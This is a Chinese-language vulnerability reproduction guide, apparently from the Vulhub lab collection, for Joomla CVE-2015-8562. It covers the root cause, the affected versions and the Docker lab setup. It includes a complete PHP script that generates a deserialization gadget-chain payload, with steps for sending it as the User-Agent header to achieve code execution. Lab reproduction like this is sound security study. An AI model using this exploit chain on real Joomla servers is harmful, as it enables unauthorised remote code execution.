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95 lines
2.5 KiB
Markdown
95 lines
2.5 KiB
Markdown
# Joomla 3.4.5 反序列化漏洞 CVE-2015-8562
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## 漏洞描述
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本漏洞根源是PHP5.6.13前的版本在读取存储好的session时，如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中，编码是utf8，当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败，最后触发反序列化漏洞。
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通过Joomla中的Gadget，可造成任意代码执行的结果。
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详情可参考：
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- https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html
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## 漏洞影响
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```
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Joomla 1.5.x, 2.x, and 3.x before 3.4.6
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PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
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```
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## 环境搭建
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Vulhub启动测试环境：
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```
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docker-compose up -d
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```
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启动后访问`http://your-ip:8080/`即可看到Joomla的安装界面，当前环境的数据库信息为：
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- 数据库地址：mysql:3306
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- 用户：root
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- 密码：root
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- 数据库名：joomla
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填入上述信息，正常安装即可。
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## 漏洞复现
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然后我们不带User-Agent头，先访问一次目标主页，记下服务端返回的Cookie：
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再用如下脚本生成POC：（[在线运行](http://sandbox.onlinephpfunctions.com/code/17e7080841ccce12f6c6e0bb1de01b9e390510bd)）
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```php
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<?php
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class JSimplepieFactory {
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}
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class JDatabaseDriverMysql {
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}
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class SimplePie {
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var $sanitize;
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var $cache;
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var $cache_name_function;
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var $javascript;
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var $feed_url;
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function __construct()
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{
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$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
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$this->javascript = 9999;
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$this->cache_name_function = "assert";
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$this->sanitize = new JDatabaseDriverMysql();
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$this->cache = true;
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}
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}
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class JDatabaseDriverMysqli {
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protected $a;
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protected $disconnectHandlers;
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protected $connection;
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function __construct()
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{
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$this->a = new JSimplepieFactory();
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$x = new SimplePie();
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$this->connection = 1;
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$this->disconnectHandlers = [
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[$x, "init"],
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];
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}
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}
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$a = new JDatabaseDriverMysqli();
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$poc = serialize($a);
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$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);
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echo "123}__test|{$poc}\xF0\x9D\x8C\x86";
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```
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将生成好的POC作为User-Agent，带上第一步获取的Cookie发包，这一次发包，脏数据进入Mysql数据库。然后同样的包再发一次，我们的代码被执行：
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